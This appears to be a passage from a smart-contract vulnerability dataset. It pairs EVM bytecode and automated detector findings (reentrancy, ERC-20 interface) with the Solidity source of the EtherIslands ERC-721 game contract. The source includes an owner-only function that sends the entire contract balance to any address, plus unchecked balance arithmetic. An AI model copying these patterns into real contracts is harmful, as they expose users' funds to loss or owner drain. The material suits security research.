0081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060058190555050565b60015481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b60025481565b6105ab611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061075c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b60055481565b60001515600360009054906101000a900460ff161515146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116716022913960400191505060405180910390fd5b60006108d56001548361103f90919063ffffffff16565b9050600061092b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110c590919063ffffffff16565b9050600554610a06600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109bc57600080fd5b505afa1580156109d0573d6000803e3d6000fd5b505050506040513d60208110156109e657600080fd5b8101908080519060200190929190505050856110c590919063ffffffff16565b1115610a7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4861726463617020666f722074686520746f6b656e732072656163686564000081525060200191505060405180910390fd5b600254610a92600154836110e190919063ffffffff16565b1115610b06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f457863656564656420616c6c6f77656420757365722062616c616e636500000081525060200191505060405180910390fd5b610b33600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338561112b565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a4533383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b610bda611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600360009054906101000a900460ff16151514610d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f5468652070726573616c65206973206e6f74206f76657200000000000000000081525060200191505060405180910390fd5b610d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d51611037565b8361145c565b50565b610d62611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060028190555050565b610e34611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116936026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b60008083141561105257600090506110bf565b600082840290508284828161106357fe5b04146110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116b96021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156110d757fe5b8091505092915050565b600061112383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611593565b905092915050565b60008084905060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561119a57600080fd5b505afa1580156111ae573d6000803e3d6000fd5b505050506040513d60208110156111c457600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff166323b872dd8630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561126657600080fd5b505af115801561127a573d6000803e3d6000fd5b5050505060003d6000811461129657602081146112a057600080fd5b60001991506112ac565b60206000803e60005191505b5080611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f544f4b454e5f5452414e534645525f494e5f4641494c4544000000000000000081525060200191505060405180910390fd5b60008773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d60208110156113b357600080fd5b810190808051906020019092919050505090508281101561143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f544f4b454e5f5452414e534645525f494e5f4f564552464c4f5700000000000081525060200191505060405180910390fd5b61144f838261165990919063ffffffff16565b9450505050509392505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156114d257600080fd5b505af11580156114e6573d6000803e3d6000fd5b5050505060003d60008114611502576020811461150c57600080fd5b6000199150611518565b60206000803e60005191505b508061158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f544f4b454e5f5452414e534645525f4f55545f4641494c45440000000000000081525060200191505060405180910390fd5b5050505050565b6000808311829061163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116045780820151818401526020810190506115e9565b50505050905090810190601f1680156116315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161164b57fe5b049050809150509392505050565b60008282111561166557fe5b81830390509291505056fe70726573616c65206973206f76657220796f752063616e6e6f7420627579206e6f774f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e92b48018c016205087408dd5811f93f89d2f9781145a0a68584bb1db075fdd964736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 149 |
0xab55903841e9d755ac512e9cca39def98eb64943 | pragma solidity ^0.4.19;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC721 interface
* @dev see https://github.com/ethereum/eips/issues/721
*/
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EtherIslands is Ownable, ERC721 {
using SafeMath for uint256;
/*** EVENTS ***/
event NewIsland(uint256 tokenId, bytes32 name, address owner);
event IslandSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, bytes32 name);
event Transfer(address from, address to, uint256 tokenId);
event DividendsPaid(address to, uint256 amount, bytes32 divType);
event ShipsBought(uint256 tokenId, address owner);
event IslandAttacked(uint256 attackerId, uint256 targetId, uint256 treasuryStolen);
event TreasuryWithdrawn(uint256 tokenId);
/*** STRUCTS ***/
struct Island {
bytes32 name;
address owner;
uint256 price;
uint256 treasury;
uint256 treasury_next_withdrawal_block;
uint256 previous_price;
uint256 attack_ships_count;
uint256 defense_ships_count;
uint256 transactions_count;
address approve_transfer_to;
address[2] previous_owners;
}
struct IslandBattleStats {
uint256 attacks_won;
uint256 attacks_lost;
uint256 defenses_won;
uint256 defenses_lost;
uint256 treasury_stolen;
uint256 treasury_lost;
uint256 attack_cooldown;
uint256 defense_cooldown;
}
/*** CONSTANTS ***/
string public constant NAME = "EtherIslands";
string public constant SYMBOL = "EIS";
bool public maintenance = true;
uint256 islands_count;
uint256 shipPrice = 0.01 ether;
uint256 withdrawalBlocksCooldown = 720;
uint256 battle_cooldown = 40;
address m_address = 0x9BB3364Baa5dbfcaa61ee0A79a9cA17359Fc7bBf;
mapping(address => uint256) private ownerCount;
mapping(uint256 => Island) private islands;
mapping(uint256 => IslandBattleStats) private islandBattleStats;
/*** DEFAULT METHODS ***/
function symbol() public pure returns (string) {return SYMBOL;}
function name() public pure returns (string) {return NAME;}
function implementsERC721() public pure returns (bool) {return true;}
function EtherIslands() public {
}
/** PUBLIC METHODS **/
function createIsland(bytes32 _name, uint256 _price, address _owner, uint256 _attack_ships_count, uint256 _defense_ships_count) public onlyOwner {
require(msg.sender != address(0));
_create_island(_name, _owner, _price, 0, _attack_ships_count, _defense_ships_count);
}
function importIsland(bytes32 _name, address[3] _owners, uint256[7] _island_data, uint256[8] _island_battle_stats) public onlyOwner {
require(msg.sender != address(0));
_import_island(_name, _owners, _island_data, _island_battle_stats);
}
function attackIsland(uint256 _attacker_id, uint256 _target_id) public payable {
require(maintenance == false);
Island storage attackerIsland = islands[_attacker_id];
IslandBattleStats storage attackerIslandBattleStats = islandBattleStats[_attacker_id];
Island storage defenderIsland = islands[_target_id];
IslandBattleStats storage defenderIslandBattleStats = islandBattleStats[_target_id];
require(attackerIsland.owner == msg.sender);
require(attackerIsland.owner != defenderIsland.owner);
require(msg.sender != address(0));
require(msg.value == 0);
require(block.number >= attackerIslandBattleStats.attack_cooldown);
require(block.number >= defenderIslandBattleStats.defense_cooldown);
require(attackerIsland.attack_ships_count > 0); // attacker must have at least 1 attack ship
require(attackerIsland.attack_ships_count > defenderIsland.defense_ships_count);
uint256 goods_stolen = SafeMath.mul(SafeMath.div(defenderIsland.treasury, 100), 25);
defenderIsland.treasury = SafeMath.sub(defenderIsland.treasury, goods_stolen);
attackerIslandBattleStats.attacks_won++;
attackerIslandBattleStats.treasury_stolen = SafeMath.add(attackerIslandBattleStats.treasury_stolen, goods_stolen);
defenderIslandBattleStats.defenses_lost++;
defenderIslandBattleStats.treasury_lost = SafeMath.add(defenderIslandBattleStats.treasury_lost, goods_stolen);
uint256 cooldown_block = block.number + battle_cooldown;
attackerIslandBattleStats.attack_cooldown = cooldown_block;
defenderIslandBattleStats.defense_cooldown = cooldown_block;
uint256 goods_to_treasury = SafeMath.mul(SafeMath.div(goods_stolen, 100), 75);
attackerIsland.treasury = SafeMath.add(attackerIsland.treasury, goods_to_treasury);
// 2% of attacker army and 10% of defender army is destroyed
attackerIsland.attack_ships_count = SafeMath.sub(attackerIsland.attack_ships_count, SafeMath.mul(SafeMath.div(attackerIsland.attack_ships_count, 100), 2));
defenderIsland.defense_ships_count = SafeMath.sub(defenderIsland.defense_ships_count, SafeMath.mul(SafeMath.div(defenderIsland.defense_ships_count, 100), 10));
// Dividends
uint256 goods_for_current_owner = SafeMath.mul(SafeMath.div(goods_stolen, 100), 15);
uint256 goods_for_previous_owner_1 = SafeMath.mul(SafeMath.div(goods_stolen, 100), 6);
uint256 goods_for_previous_owner_2 = SafeMath.mul(SafeMath.div(goods_stolen, 100), 3);
uint256 goods_for_dev = SafeMath.mul(SafeMath.div(goods_stolen, 100), 1);
attackerIsland.owner.transfer(goods_for_current_owner);
attackerIsland.previous_owners[0].transfer(goods_for_previous_owner_1);
attackerIsland.previous_owners[1].transfer(goods_for_previous_owner_2);
//Split dev fee
m_address.transfer(SafeMath.mul(SafeMath.div(goods_for_dev, 100), 20));
owner.transfer(SafeMath.mul(SafeMath.div(goods_for_dev, 100), 80));
IslandAttacked(_attacker_id, _target_id, goods_stolen);
}
function buyShips(uint256 _island_id, uint256 _ships_to_buy, bool _is_attack_ships) public payable {
require(maintenance == false);
Island storage island = islands[_island_id];
uint256 totalPrice = SafeMath.mul(_ships_to_buy, shipPrice);
require(island.owner == msg.sender);
require(msg.sender != address(0));
require(msg.value >= totalPrice);
if (_is_attack_ships) {
island.attack_ships_count = SafeMath.add(island.attack_ships_count, _ships_to_buy);
} else {
island.defense_ships_count = SafeMath.add(island.defense_ships_count, _ships_to_buy);
}
// Dividends
uint256 treasury_div = SafeMath.mul(SafeMath.div(totalPrice, 100), 80);
uint256 dev_div = SafeMath.mul(SafeMath.div(totalPrice, 100), 17);
uint256 previous_owner_div = SafeMath.mul(SafeMath.div(totalPrice, 100), 2);
uint256 previous_owner2_div = SafeMath.mul(SafeMath.div(totalPrice, 100), 1);
island.previous_owners[0].transfer(previous_owner_div);
//divs for 1st previous owner
island.previous_owners[1].transfer(previous_owner2_div);
//divs for 2nd previous owner
island.treasury = SafeMath.add(treasury_div, island.treasury);
// divs for treasury
//Split dev fee
uint256 m_fee = SafeMath.mul(SafeMath.div(dev_div, 100), 20);
uint256 d_fee = SafeMath.mul(SafeMath.div(dev_div, 100), 80);
m_address.transfer(m_fee);
owner.transfer(d_fee);
DividendsPaid(island.previous_owners[0], previous_owner_div, "buyShipPreviousOwner");
DividendsPaid(island.previous_owners[1], previous_owner2_div, "buyShipPreviousOwner2");
ShipsBought(_island_id, island.owner);
}
function withdrawTreasury(uint256 _island_id) public payable {
require(maintenance == false);
Island storage island = islands[_island_id];
require(island.owner == msg.sender);
require(msg.sender != address(0));
require(island.treasury > 0);
require(block.number >= island.treasury_next_withdrawal_block);
uint256 treasury_to_withdraw = SafeMath.mul(SafeMath.div(island.treasury, 100), 10);
uint256 treasury_for_previous_owner_1 = SafeMath.mul(SafeMath.div(treasury_to_withdraw, 100), 2);
uint256 treasury_for_previous_owner_2 = SafeMath.mul(SafeMath.div(treasury_to_withdraw, 100), 1);
uint256 treasury_for_previous_owners = SafeMath.add(treasury_for_previous_owner_2, treasury_for_previous_owner_1);
uint256 treasury_for_current_owner = SafeMath.sub(treasury_to_withdraw, treasury_for_previous_owners);
island.owner.transfer(treasury_for_current_owner);
island.previous_owners[0].transfer(treasury_for_previous_owner_1);
island.previous_owners[1].transfer(treasury_for_previous_owner_2);
island.treasury = SafeMath.sub(island.treasury, treasury_to_withdraw);
island.treasury_next_withdrawal_block = block.number + withdrawalBlocksCooldown;
//setting cooldown for next withdrawal
DividendsPaid(island.previous_owners[0], treasury_for_previous_owner_1, "withdrawalPreviousOwner");
DividendsPaid(island.previous_owners[1], treasury_for_previous_owner_2, "withdrawalPreviousOwner2");
DividendsPaid(island.owner, treasury_for_current_owner, "withdrawalOwner");
TreasuryWithdrawn(_island_id);
}
function purchase(uint256 _island_id) public payable {
require(maintenance == false);
Island storage island = islands[_island_id];
require(island.owner != msg.sender);
require(msg.sender != address(0));
require(msg.value >= island.price);
uint256 excess = SafeMath.sub(msg.value, island.price);
if (island.previous_price > 0) {
uint256 owners_cut = SafeMath.mul(SafeMath.div(island.price, 160), 130);
uint256 treasury_cut = SafeMath.mul(SafeMath.div(island.price, 160), 18);
uint256 dev_fee = SafeMath.mul(SafeMath.div(island.price, 160), 7);
uint256 previous_owner_fee = SafeMath.mul(SafeMath.div(island.price, 160), 3);
uint256 previous_owner_fee2 = SafeMath.mul(SafeMath.div(island.price, 160), 2);
island.previous_owners[0].transfer(previous_owner_fee);
//divs for 1st previous owner
island.previous_owners[1].transfer(previous_owner_fee2);
//divs for 2nd previous owner
island.treasury = SafeMath.add(treasury_cut, island.treasury);
// divs for treasury
//Split dev fee
uint256 m_fee = SafeMath.mul(SafeMath.div(dev_fee, 100), 20);
uint256 d_fee = SafeMath.mul(SafeMath.div(dev_fee, 100), 80);
m_address.transfer(m_fee);
owner.transfer(d_fee);
DividendsPaid(island.previous_owners[0], previous_owner_fee, "previousOwner");
DividendsPaid(island.previous_owners[1], previous_owner_fee2, "previousOwner2");
DividendsPaid(island.owner, owners_cut, "owner");
DividendsPaid(owner, dev_fee, "dev");
if (island.owner != address(this)) {
island.owner.transfer(owners_cut);
//divs for current island owner
}
}
island.previous_price = island.price;
island.treasury_next_withdrawal_block = block.number + withdrawalBlocksCooldown;
address _old_owner = island.owner;
island.price = SafeMath.mul(SafeMath.div(island.price, 100), 160);
//Change owners
island.previous_owners[1] = island.previous_owners[0];
island.previous_owners[0] = island.owner;
island.owner = msg.sender;
island.transactions_count++;
ownerCount[_old_owner] -= 1;
ownerCount[island.owner] += 1;
islandBattleStats[_island_id].attack_cooldown = block.number + battle_cooldown; // immunity for 10 mins
islandBattleStats[_island_id].defense_cooldown = block.number + battle_cooldown; // immunity for 10 mins
Transfer(_old_owner, island.owner, _island_id);
IslandSold(_island_id, island.previous_price, island.price, _old_owner, island.owner, island.name);
msg.sender.transfer(excess);
//returning excess
}
function onMaintenance() public onlyOwner {
require(msg.sender != address(0));
maintenance = true;
}
function offMaintenance() public onlyOwner {
require(msg.sender != address(0));
maintenance = false;
}
function totalSupply() public view returns (uint256 total) {
return islands_count;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerCount[_owner];
}
function priceOf(uint256 _island_id) public view returns (uint256 price) {
return islands[_island_id].price;
}
function getIslandBattleStats(uint256 _island_id) public view returns (
uint256 id,
uint256 attacks_won,
uint256 attacks_lost,
uint256 defenses_won,
uint256 defenses_lost,
uint256 treasury_stolen,
uint256 treasury_lost,
uint256 attack_cooldown,
uint256 defense_cooldown
) {
id = _island_id;
attacks_won = islandBattleStats[_island_id].attacks_won;
attacks_lost = islandBattleStats[_island_id].attacks_lost;
defenses_won = islandBattleStats[_island_id].defenses_won;
defenses_lost = islandBattleStats[_island_id].defenses_lost;
treasury_stolen = islandBattleStats[_island_id].treasury_stolen;
treasury_lost = islandBattleStats[_island_id].treasury_lost;
attack_cooldown = islandBattleStats[_island_id].attack_cooldown;
defense_cooldown = islandBattleStats[_island_id].defense_cooldown;
}
function getIsland(uint256 _island_id) public view returns (
uint256 id,
bytes32 island_name,
address owner,
uint256 price,
uint256 treasury,
uint256 treasury_next_withdrawal_block,
uint256 previous_price,
uint256 attack_ships_count,
uint256 defense_ships_count,
uint256 transactions_count
) {
id = _island_id;
island_name = islands[_island_id].name;
owner = islands[_island_id].owner;
price = islands[_island_id].price;
treasury = islands[_island_id].treasury;
treasury_next_withdrawal_block = islands[_island_id].treasury_next_withdrawal_block;
previous_price = islands[_island_id].previous_price;
attack_ships_count = islands[_island_id].attack_ships_count;
defense_ships_count = islands[_island_id].defense_ships_count;
transactions_count = islands[_island_id].transactions_count;
}
function getIslandPreviousOwners(uint256 _island_id) public view returns (
address[2] previous_owners
) {
previous_owners = islands[_island_id].previous_owners;
}
function getIslands() public view returns (uint256[], address[], uint256[], uint256[], uint256[], uint256[], uint256[]) {
uint256[] memory ids = new uint256[](islands_count);
address[] memory owners = new address[](islands_count);
uint256[] memory prices = new uint256[](islands_count);
uint256[] memory treasuries = new uint256[](islands_count);
uint256[] memory attack_ships_counts = new uint256[](islands_count);
uint256[] memory defense_ships_counts = new uint256[](islands_count);
uint256[] memory transactions_count = new uint256[](islands_count);
for (uint256 _id = 0; _id < islands_count; _id++) {
ids[_id] = _id;
owners[_id] = islands[_id].owner;
prices[_id] = islands[_id].price;
treasuries[_id] = islands[_id].treasury;
attack_ships_counts[_id] = islands[_id].attack_ships_count;
defense_ships_counts[_id] = islands[_id].defense_ships_count;
transactions_count[_id] = islands[_id].transactions_count;
}
return (ids, owners, prices, treasuries, attack_ships_counts, defense_ships_counts, transactions_count);
}
/** PRIVATE METHODS **/
function _create_island(bytes32 _name, address _owner, uint256 _price, uint256 _previous_price, uint256 _attack_ships_count, uint256 _defense_ships_count) private {
islands[islands_count] = Island({
name : _name,
owner : _owner,
price : _price,
treasury : 0,
treasury_next_withdrawal_block : 0,
previous_price : _previous_price,
attack_ships_count : _attack_ships_count,
defense_ships_count : _defense_ships_count,
transactions_count : 0,
approve_transfer_to : address(0),
previous_owners : [_owner, _owner]
});
islandBattleStats[islands_count] = IslandBattleStats({
attacks_won : 0,
attacks_lost : 0,
defenses_won : 0,
defenses_lost : 0,
treasury_stolen : 0,
treasury_lost : 0,
attack_cooldown : 0,
defense_cooldown : 0
});
NewIsland(islands_count, _name, _owner);
Transfer(address(this), _owner, islands_count);
islands_count++;
}
function _import_island(bytes32 _name, address[3] _owners, uint256[7] _island_data, uint256[8] _island_battle_stats) private {
islands[islands_count] = Island({
name : _name,
owner : _owners[0],
price : _island_data[0],
treasury : _island_data[1],
treasury_next_withdrawal_block : _island_data[2],
previous_price : _island_data[3],
attack_ships_count : _island_data[4],
defense_ships_count : _island_data[5],
transactions_count : _island_data[6],
approve_transfer_to : address(0),
previous_owners : [_owners[1], _owners[2]]
});
islandBattleStats[islands_count] = IslandBattleStats({
attacks_won : _island_battle_stats[0],
attacks_lost : _island_battle_stats[1],
defenses_won : _island_battle_stats[2],
defenses_lost : _island_battle_stats[3],
treasury_stolen : _island_battle_stats[4],
treasury_lost : _island_battle_stats[5],
attack_cooldown : _island_battle_stats[6],
defense_cooldown : _island_battle_stats[7]
});
NewIsland(islands_count, _name, _owners[0]);
Transfer(address(this), _owners[0], islands_count);
islands_count++;
}
function _transfer(address _from, address _to, uint256 _island_id) private {
islands[_island_id].owner = _to;
islands[_island_id].approve_transfer_to = address(0);
ownerCount[_from] -= 1;
ownerCount[_to] += 1;
Transfer(_from, _to, _island_id);
}
/*** ERC-721 compliance. ***/
function approve(address _to, uint256 _island_id) public {
require(msg.sender == islands[_island_id].owner);
islands[_island_id].approve_transfer_to = _to;
Approval(msg.sender, _to, _island_id);
}
function ownerOf(uint256 _island_id) public view returns (address owner){
owner = islands[_island_id].owner;
require(owner != address(0));
}
function takeOwnership(uint256 _island_id) public {
address oldOwner = islands[_island_id].owner;
require(msg.sender != address(0));
require(islands[_island_id].approve_transfer_to == msg.sender);
_transfer(oldOwner, msg.sender, _island_id);
}
function transfer(address _to, uint256 _island_id) public {
require(msg.sender != address(0));
require(msg.sender == islands[_island_id].owner);
_transfer(msg.sender, _to, _island_id);
}
function transferFrom(address _from, address _to, uint256 _island_id) public {
require(_from == islands[_island_id].owner);
require(islands[_island_id].approve_transfer_to == _to);
require(_to != address(0));
_transfer(_from, _to, _island_id);
}
function upgradeContract(address _newContract) public onlyOwner {
_newContract.transfer(this.balance);
}
function AddEth () public payable {}
} | 0x60606040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610184578063095ea7b31461020e5780630d28f8d1146102325780631051db34146102c157806311f1fc99146102e857806318160ddd146102f357806323b872dd14610318578063472b64921461034057806361b98cb3146103485780636352211e1461035b5780636c376cc51461038d57806370a08231146103a05780638da5cb5b146103bf578063913158f7146103d257806394b663861461044c578063952868b51461045a57806395d89b411461046d578063a3f4df7e14610480578063a9059cbb14610493578063b2e6ceeb146104b5578063b5dd20e9146104cb578063b9186d7d146104f6578063d5ea36f91461050c578063dc3134ae1461051f578063deb081df14610582578063e6e0556214610787578063eb2c0223146107d5578063efef39a1146107f4578063f2fde38b146107ff578063f76f8d781461081e575b600080fd5b341561018f57600080fd5b610197610831565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d35780820151838201526020016101bb565b50505050905090810190601f1680156102005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021957600080fd5b610230600160a060020a0360043516602435610873565b005b341561023d57600080fd5b6102306004803590608460246003606060405190810160405291908282606080828437820191505050505091908060e001906007806020026040519081016040529190828260e0808284378201915050505050919080610100019060088060200260405190810160405291908282610100808284375093955061090a945050505050565b34156102cc57600080fd5b6102d461094c565b604051901515815260200160405180910390f35b610230600435610951565b34156102fe57600080fd5b610306610c73565b60405190815260200160405180910390f35b341561032357600080fd5b610230600160a060020a0360043581169060243516604435610c79565b610230610cf0565b6102306004356024356044351515610cf2565b341561036657600080fd5b610371600435611039565b604051600160a060020a03909116815260200160405180910390f35b341561039857600080fd5b6102d4611065565b34156103ab57600080fd5b610306600160a060020a0360043516611075565b34156103ca57600080fd5b610371611090565b34156103dd57600080fd5b6103e860043561109f565b604051998a5260208a0198909852600160a060020a039096166040808a01919091526060890195909552608088019390935260a087019190915260c086015260e0850152610100840191909152610120830191909152610140909101905180910390f35b6102306004356024356110f6565b341561046557600080fd5b6102306114f0565b341561047857600080fd5b610197611546565b341561048b57600080fd5b610197611587565b341561049e57600080fd5b610230600160a060020a03600435166024356115be565b34156104c057600080fd5b61023060043561160c565b34156104d657600080fd5b610230600435602435600160a060020a036044351660643560843561166c565b341561050157600080fd5b6103066004356116b2565b341561051757600080fd5b6102306116c7565b341561052a57600080fd5b610535600435611717565b60405198895260208901979097526040808901969096526060880194909452608087019290925260a086015260c085015260e0840152610100830191909152610120909101905180910390f35b341561058d57600080fd5b61059561175e565b604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019060200280838360005b838110156105ed5780820151838201526020016105d5565b5050505090500188810387528e818151815260200191508051906020019060200280838360005b8381101561062c578082015183820152602001610614565b5050505090500188810386528d818151815260200191508051906020019060200280838360005b8381101561066b578082015183820152602001610653565b5050505090500188810385528c818151815260200191508051906020019060200280838360005b838110156106aa578082015183820152602001610692565b5050505090500188810384528b818151815260200191508051906020019060200280838360005b838110156106e95780820151838201526020016106d1565b5050505090500188810383528a818151815260200191508051906020019060200280838360005b83811015610728578082015183820152602001610710565b50505050905001888103825289818151815260200191508051906020019060200280838360005b8381101561076757808201518382015260200161074f565b505050509050019e50505050505050505050505050505060405180910390f35b341561079257600080fd5b61079d600435611a22565b6040518082604080838360005b838110156107c25780820151838201526020016107aa565b5050505090500191505060405180910390f35b34156107e057600080fd5b610230600160a060020a0360043516611a7f565b610230600435611ada565b341561080a57600080fd5b610230600160a060020a036004351661219e565b341561082957600080fd5b61019761222c565b6108396128d7565b60408051908101604052600c81527f457468657249736c616e64730000000000000000000000000000000000000000602082015290505b90565b60008181526007602052604090206001015433600160a060020a0390811691161461089d57600080fd5b600081815260076020526040908190206009018054600160a060020a031916600160a060020a038581169182179092559133909116907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35050565b60005433600160a060020a0390811691161461092557600080fd5b33600160a060020a0316151561093a57600080fd5b61094684848484612263565b50505050565b600190565b600080548190819081908190819060a060020a900460ff161561097357600080fd5b6000878152600760205260409020600181015490965033600160a060020a039081169116146109a157600080fd5b33600160a060020a031615156109b657600080fd5b6003860154600090116109c857600080fd5b60048601544310156109d9576